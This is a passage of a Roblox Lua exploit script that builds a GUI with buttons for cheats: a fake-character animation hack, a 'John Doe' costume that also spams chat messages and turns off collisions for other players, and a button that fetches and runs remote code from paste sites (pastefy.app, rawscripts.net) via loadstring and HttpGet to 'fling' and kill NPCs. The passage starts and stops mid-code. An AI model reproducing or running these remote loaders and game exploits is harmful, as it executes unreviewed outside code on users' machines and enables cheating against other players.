LEFTLEGLERP.C0:lerp(CFrame.new(0.5, 1.6-0.1*math.sin(sine/4),.7*math.sin(sine/4)) * CFrame.Angles(math.rad(15 + 50 * math.sin(sine/4)),0,0),.3) end swait() end end) anims() warn("Prepare for a magic trick full of pain and regret. Made by Supr14") end)() local Connection Connection = game.Workspace.DescendantAdded:Connect(function(c) if c.Name == "Animate" and c.Parent == Player.Character then c.Enabled = false Connection:Disconnect() end end) repeat task.wait() until game.Players.LocalPlayer.Character task.wait(0.1) local RealChar = Player.Character RealChar.Archivable = true FakeCharacter.Name = Player.Name .. "_Fake" FakeCharacter.Parent = workspace task.spawn(function() for i, LS in ipairs(FakeCharacter:GetChildren()) do if LS:IsA("LocalScript") then LS.Enabled = false task.wait(0.1) LS.Enabled = false end end end) for i, Part in ipairs(FakeCharacter:GetDescendants()) do if Part:IsA("BasePart")then Part.Transparency = fake_transparency end end for i, Decal in ipairs(FakeCharacter:GetDescendants()) do if Decal:IsA("Decal")then Decal.Transparency = fake_transparency end end Player.Character = FakeCharacter local function MotorAngle() if RealChar:FindFirstChild("Torso") then for MotorName, Motor6DAngle in pairs(Motors) do if RealChar:FindFirstChild("Torso"):FindFirstChild(MotorName) then RealChar:FindFirstChild("Torso"):FindFirstChild(MotorName).CurrentAngle = Motor6DAngle end end end end local function SetAngles() if FakeCharacter:FindFirstChild("Torso") then for MotorName, Motor6DAngle in pairs(Motors) do if FakeCharacter:FindFirstChild("Torso"):FindFirstChild(MotorName) then local Motor = FakeCharacter:FindFirstChild("Torso"):FindFirstChild(MotorName) local rx, ry, rz = Motor.Part1.CFrame:ToObjectSpace(FakeCharacter:FindFirstChild("Torso").CFrame):ToOrientation() --Motors[MotorName] = rx if Motor.Name == "Right Shoulder" then Motors[MotorName] = -rx end if Motor.Name == "Left Shoulder" then Motors[MotorName] = rx end if Motor.Name == "Right Hip" then Motors[MotorName] = -rx end if Motor.Name == "Left Hip" then Motors[MotorName] = rx end if Motor.Name == "Neck" then Motors[MotorName] = -ry end end end end end local function BaseCol() for i, Part in ipairs(RealChar:GetChildren()) do if Part:IsA("BasePart")then Part.CanCollide = false end end for i, Part in ipairs(FakeCharacter:GetChildren()) do if Part:IsA("BasePart")then Part.CanCollide = false end end end RunService.Heartbeat:Connect(function() SetAngles() MotorAngle() RealChar.HumanoidRootPart.CFrame = FakeCharacter.Torso.CFrame end) RunService.PreSimulation:Connect(function() BaseCol() end) LoadAllAnimations() end) end; task.spawn(C_5f); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript local function C_61() local script = G2L["61"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() --made by GioBolqvi G10 on youtube. yes giobolqvi is new main. --WATCH TUTORIAL HOW TO ACTUALLY KILL NPCS ON YOUTUBE loadstring(game:HttpGet("https://pastefy.app/59mJGQGe/raw"))() --Anim loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-Touch-fling-10457"))() --specific fling to kill npcs, must watch tutorial end) end; task.spawn(C_61); -- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript local function C_63() local script = G2L["63"]; local button = script.Parent --local input = CoolGui.Frame.Settings button.MouseButton1Down:connect(function() ------------ --John Doe-- ------------ -----by----- --CKbackup-- ------------ function send(text) if game:GetService("TextChatService").ChatVersion == Enum.ChatVersion.TextChatService then game:GetService("TextChatService"):FindFirstChild("RBXGeneral"):DisplaySystemMessage(text) else game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(text, "All") end end send("I'm back... Your overlord is back...") wait(3) send("Good luck, you'll need it.") wait(3) send("They're all yours, Mr. Doe.") wait(3) --Anti Fling-- AntiFling = true local function NoCollision(PLR) if AntiFling and PLR.Character then for _,x in pairs(PLR.Character:GetDescendants()) do if x:IsA("BasePart") and x.CanCollide then x.CanCollide = false end end end end for _,v in pairs(game.Players:GetPlayers()) do if v ~= game.Players then local antifling = game:GetService('RunService').Stepped:connect(function() NoCollision(v) end) end end game.Players.PlayerAdded:Connect(function() if v ~= game.Players.LocalPlayer and antifling then local antifling = game:GetService('RunService').Stepped:connect(function() NoCollision(v) end) end end) --Player Stuff-- player = game:GetService("Players").LocalPlayer chara = player.Character ch = chara:GetChildren() for i = 1, #ch do if ch[i].Name == "Torso" then ch[i].roblox.Transparency = 1 elseif ch[i].Name == "Head" then ch[i].face.Transparency = 1 ch[i].Transparency = 1 elseif ch[i].ClassName == "Accessory" or ch[i].ClassName == "Shirt" or ch[i].ClassName == "Pants" or ch[i].ClassName == "ShirtGraphic" then ch[i]:Destroy() end end chara["Left Arm"].BrickColor = BrickColor.new("Cool yellow") chara["Right Arm"].BrickColor = BrickColor.new("Cool yellow") chara["Left Leg"].BrickColor = BrickColor.new("Medium blue") chara["Right Leg"].BrickColor = BrickColor.new("Medium blue") chara.Torso.BrickColor = BrickColor.new("Bright yellow") --Outfit-- New = function(Object, Parent, Name, Data) local Object = Instance.new(Object) for Index, Value in pairs(Data or {}) do Object[Index] = Value end Object.Parent = Parent Object.Name = Name return Object end function ScatterEff(part) local eff1 = Instance.new("ParticleEmitter",part) eff1.Size = NumberSequence.new(.1) eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.9,0),NumberSequenceKeypoint.new(1,1)}) eff1.LightEmission = 1 eff1.Lifetime = NumberRange.new(1) eff1.Speed = NumberRange.new(1) eff1.Rate = 100 eff1.VelocitySpread = 10000 eff1.Texture = "rbxassetid://347504241" eff1.Color = ColorSequence.new(Color3.new(1,0,0)) local eff2 = Instance.new("ParticleEmitter",part) eff2.Size = NumberSequence.new(.1) eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.9,0),NumberSequenceKeypoint.new(1,1)}) eff2.LightEmission = 1 eff2.Lifetime = NumberRange.new(1) eff2.Speed = NumberRange.new(1) eff2.Rate = 100 eff2.VelocitySpread = 10000 eff2.Texture = "rbxassetid://347504259" eff2.Color = ColorSequence.new(Color3.new(1,0,0)) end function BurningEff(part) local eff1 = Instance.new("ParticleEmitter",part) eff1.Size = NumberSequence.new(.1) eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)}) eff1.LightEmission = 1 eff1.Lifetime = NumberRange.new(1) eff1.Speed = NumberRange.new(0) eff1.Rate = 100 eff1.Texture = "rbxassetid://347504241" eff1.Acceleration = Vector3.new(0,10,0) eff1.Color = ColorSequence.new(Color3.new(1,0,0)) local eff2 = Instance.new("ParticleEmitter",part) eff2.Size = NumberSequence.new(.1) eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)}) eff2.LightEmission = 1 eff2.Lifetime = NumberRange.new(1) eff2.Speed = NumberRange.new(0) eff2.Rate = 100 eff2.Texture = "rbxassetid://347504259" eff2.Acceleration = Vector3.new(0,10,0) eff2.Color = ColorSequence.new(Color3.new(1,0,0)) local eff3 = Instance.new("ParticleEmitter",part) eff3.Size = NumberSequence.new(1) eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)}) eff3.LightEmission = 1 eff3.Lifetime = NumberRange.new(1) eff3.Speed = NumberRange.new(0) eff3.Rate = 100 eff3.Texture = "rbxasset://textures/particles/fire_main.dds" eff3.Acceleration = Vector3.new(0,10,0) eff3.Color = ColorSequence.new(Color3.new(1,0,0)) end FakeHead = New("Model",chara,"FakeHead",{}) MainPart = New("Part",FakeHead,"MainPart",{FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(2, 1, 1),CFrame = CFrame.new(2.29537678, 7.81603718, 0.746068954, 0.00980896503, 0.00110200304, 0.999957919, -0.000536994543, 1.00000548, -0.00109680078, -0.99994874, -0.0005262224, 0.00980964955),CanCollide = false,TopSurface = Enum.SurfaceType.Smooth,}) Mesh = New("SpecialMesh",MainPart,"Mesh",{Scale = Vector3.new(1.25, 1.25, 1.25),}) face = New("Decal",MainPart,"face",{Texture = "rbxasset://textures/face.png",}) Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara.Head,C0 = CFrame.new(0, 0, 0, 0.00980896503, -0.000536994543, -0.99994874, 0.00110200304, 1.00000548, -0.0005262224, 0.999957919, -0.00109680078, 0.00980964955),C1 = CFrame.new(5.96046448e-008, -8.58306885e-006, 0, 0.00980896503, -0.000536994543, -0.99994874, 0.00110200304, 1.00000548, -0.0005262224, 0.999957919, -0.00109680078, 0.00980964955),}) FakeHead.MainPart.BrickColor = BrickColor.new("Cool yellow") EyeFire = New("Part",FakeHead,"EyeFire",{BrickColor = BrickColor.new("Really red"),Material = Enum.Material.Neon,Size = Vector3.new(0.400000006, 0.200000003, 0.200000003),CFrame = CFrame.new(1.69668579, 8.11665249, 0.640022159, -0.00107900088, 0.999958038, -0.00980941113, -1.0000056, -0.00107390946, 0.000525554642, 0.000515007298, 0.00981007144, 0.999948859),CanCollide = false,Color = Color3.new(1, 0, 0),}) Mesh = New("CylinderMesh",EyeFire,"Mesh",{Offset = Vector3.new(0.0500000007, 0, -0.0399999991),Scale = Vector3.new(1, 0.150000006, 1),}) Weld = New("ManualWeld",EyeFire,"Weld",{Part0 = EyeFire,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.0010790003, -0.999999344, 0.000515000196, 0.999951363, -0.0010738963, 0.00981000345, -0.00980944186, 0.000525560055, 0.99995178),C1 = CFrame.new(0.100008011, 0.300009251, -0.600027919, 0.00980899762, -0.000536999898, -0.99995178, 0.00110200245, 0.999999344, -0.000526215415, 0.999951363, -0.00109678751, 0.00980958249),}) Chest = New("Model",chara,"Chest",{}) MainPart = New("Part",Chest,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(2, 2, 1),CFrame = CFrame.new(2.2937007, 6.31611967, 0.746871948, 0.00980956201, 0.00110224239, 0.999954581, -0.000537135813, 1.00000238, -0.00109703222, -0.99995023, -0.000526354474, 0.00981019717),CanCollide = false,LeftSurface = Enum.SurfaceType.Weld,RightSurface = Enum.SurfaceType.Weld,}) Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara.Torso,C0 = CFrame.new(0, 0, 0, 0.009809535, -0.000537137908, -0.99994725, 0.00110225554, 1.00000858, -0.000526368851, 0.999961257, -0.00109705783, 0.00981026888),C1 = CFrame.new(5.96046448e-008, -9.05990601e-006, -2.38418579e-007, 0.00980956666, -0.000537143264, -0.99995023, 0.00110225484, 1.00000238, -0.000526361808, 0.999954581, -0.00109704456, 0.00981020182),}) CorruptedPart = New("Part",Chest,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.400000006, 0.800000072, 1),CFrame = CFrame.new(2.28977966, 7.11656427, 1.34486222, -0.00110228383, -0.00980954897, -0.9999578, -1.00000536, 0.000536905834, 0.00109708123, 0.000526248943, 0.99994868, -0.00981033035),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.0011022957, -0.999999225, 0.000526249292, -0.00980958622, 0.000536918582, 0.99995172, -0.999951243, 0.0010970803, -0.00981026702),C1 = CFrame.new(-0.598430753, 0.800122261, 0.00106739998, 0.00980956666, -0.000537143264, -0.99995023, 0.00110225484, 1.00000238, -0.000526361808, 0.999954581, -0.00109704456, 0.00981020182),}) CorruptedPart = New("Part",Chest,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.400000006, 0.400000066, 1),CFrame = CFrame.new(2.29174757, 6.71645212, 1.54485857, -0.00110228383, -0.00980954897, -0.9999578, -1.00000536, 0.000536905834, 0.00109708123, 0.000526248943, 0.99994868, -0.00981033035),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.0011022957, -0.999999225, 0.000526249292, -0.00980958622, 0.000536918582, 0.99995172, -0.999951243, 0.0010970803, -0.00981026702),C1 = CFrame.new(-0.798183441, 0.399908543, 0.00543618202, 0.00980956666, -0.000537143264, -0.99995023, 0.00110225484, 1.00000238, -0.000526361808, 0.999954581, -0.00109704456, 0.00981020182),}) LeftArm = New("Model",chara,"LeftArm",{}) MainPart = New("Part",LeftArm,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(1.90889204, 6.31596565, 3.24640989, -0.0484240092, -0.0324009918, 0.998301268, -0.00117100019, 0.999474883, 0.0323822871, -0.998826265, 0.000399069104, -0.0484365262),CanCollide = false,}) Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Left Arm"],C0 = CFrame.new(0, 0, 0, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),C1 = CFrame.new(0, -8.10623169e-006, -2.38418579e-007, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),}) CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000006, 0.200000003),CFrame = CFrame.new(1.48370504, 6.50245714, 2.8663168, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(0.400017738, 0.200018406, -0.400015235, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),}) CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(1.51924801, 6.60332775, 3.66543078, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(-0.399997473, 0.300003052, -0.399972558, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),}) EffCorruptedPart = New("Part",LeftArm,"EffCorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 1, 1),CFrame = CFrame.new(1.92512023, 5.81624889, 3.24619365, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",EffCorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",EffCorruptedPart,"Weld",{Part0 = EffCorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(1.52587891e-005, -0.49998045, 2.90870667e-005, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),}) CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000072, 0.200000003),CFrame = CFrame.new(2.31463432, 6.72918367, 3.62673688, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(-0.400012016, 0.400006294, 0.400012136, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),}) CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.200000003, 0.200000003),CFrame = CFrame.new(1.50631011, 6.40297413, 3.26581192, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(1.3589859e-005, 0.100014687, -0.400020242, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),}) CorruptedPart = New("Part",LeftArm,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.400000036, 0.200000003),CFrame = CFrame.new(1.92179501, 6.51633835, 3.64602208, -0.048417028, -0.0324150361, 0.998301387, -0.00116700074, 0.999474525, 0.03239654, -0.998826742, 0.000403525919, -0.0484294258),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, -0.048417028, -0.00116700074, -0.998826623, -0.0324150361, 0.999474466, 0.000403525832, 0.998301208, 0.0323965363, -0.0484294109),C1 = CFrame.new(-0.40000248, 0.200008869, 1.37090683e-005, -0.0484240092, -0.00117100019, -0.998826265, -0.0324009918, 0.999474883, 0.000399069104, 0.998301268, 0.0323822871, -0.0484365262),}) BurningEff(EffCorruptedPart) LeftLeg = New("Model",chara,"LeftLeg",{}) MainPart = New("Part",LeftLeg,"MainPart",{Transparency = 1,Transparency = 1,FormFactor = Enum.FormFactor.Symmetric,Size = Vector3.new(1, 2, 1),CFrame = CFrame.new(2.2865479, 1.31659603, 1.24781799, 0.00980953407, 0.00110225566, 0.999961138, -0.000537137908, 1.00000858, -0.00109705783, -0.99994719, -0.000526368851, 0.00981026888),CanCollide = false,BottomSurface = Enum.SurfaceType.Smooth,}) Weld = New("ManualWeld",MainPart,"Weld",{Part0 = MainPart,Part1 = chara["Left Leg"],C0 = CFrame.new(0, 0, 0, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),C1 = CFrame.new(0, -8.58306885e-006, -2.38418579e-007, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),}) EffCorruptedPart = New("Part",LeftLeg,"EffCorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(1, 0.200000048, 1),CFrame = CFrame.new(2.28007793, 0.400032878, 1.25993299, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",EffCorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",EffCorruptedPart,"Weld",{Part0 = EffCorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(-0.0116856098, -0.916567385, -0.00534534454, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),}) CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.600000024, 0.200000003),CFrame = CFrame.new(1.88013697, 0.800038397, 0.859943509, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(0.3841483, -0.516796231, -0.40962553, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),}) CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000012, 0.200000003),CFrame = CFrame.new(2.69002914, 0.915953577, 0.851962805, 0.999971032, 0.0011022269, -0.00980960391, -0.00109704852, 1.00001776, 0.000537177373, 0.00981036108, -0.000526409131, 0.999942601),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 0.999951303, -0.0010970087, 0.00981015898, 0.00110222446, 0.999999166, -0.000526388001, -0.00980970077, 0.00053719338, 0.99995172),C1 = CFrame.new(0.400011122, -0.399985313, 0.400013685, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),}) CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.800000012, 0.200000003),CFrame = CFrame.new(1.88013721, 0.900040269, 1.65993917, 1.00001979, -3.03611159e-007, -5.47617674e-007, 5.67175448e-007, 1.00001717, -5.60779881e-007, -1.86450779e-006, 9.50574758e-007, 0.99998951),CanCollide = false,BackSurface = Enum.SurfaceType.SmoothNoOutlines,BottomSurface = Enum.SurfaceType.SmoothNoOutlines,FrontSurface = Enum.SurfaceType.SmoothNoOutlines,LeftSurface = Enum.SurfaceType.SmoothNoOutlines,RightSurface = Enum.SurfaceType.SmoothNoOutlines,TopSurface = Enum.SurfaceType.SmoothNoOutlines,Color = Color3.new(0.0666667, 0.0666667, 0.0666667),}) Mesh = New("BlockMesh",CorruptedPart,"Mesh",{Scale = Vector3.new(1.10000002, 1.10000002, 1.10000002),}) Weld = New("ManualWeld",CorruptedPart,"Weld",{Part0 = CorruptedPart,Part1 = MainPart,C0 = CFrame.new(0, 0, 0, 1, 5.86369708e-007, -2.15602267e-006, -2.8440752e-007, 0.999998569, 9.76819592e-007, -8.39119252e-007, -5.34477465e-007, 0.999998569),C1 = CFrame.new(-0.415866137, -0.41721642, -0.40188694, 0.00980953407, -0.000537137908, -0.99994719, 0.00110225566, 1.00000858, -0.000526368851, 0.999961138, -0.00109705783, 0.00981026888),}) CorruptedPart = New("Part",LeftLeg,"CorruptedPart",{BrickColor = BrickColor.new("Really black"),Material = Enum.Material.Granite,Size = Vector3.new(0.200000003, 0.200000003, 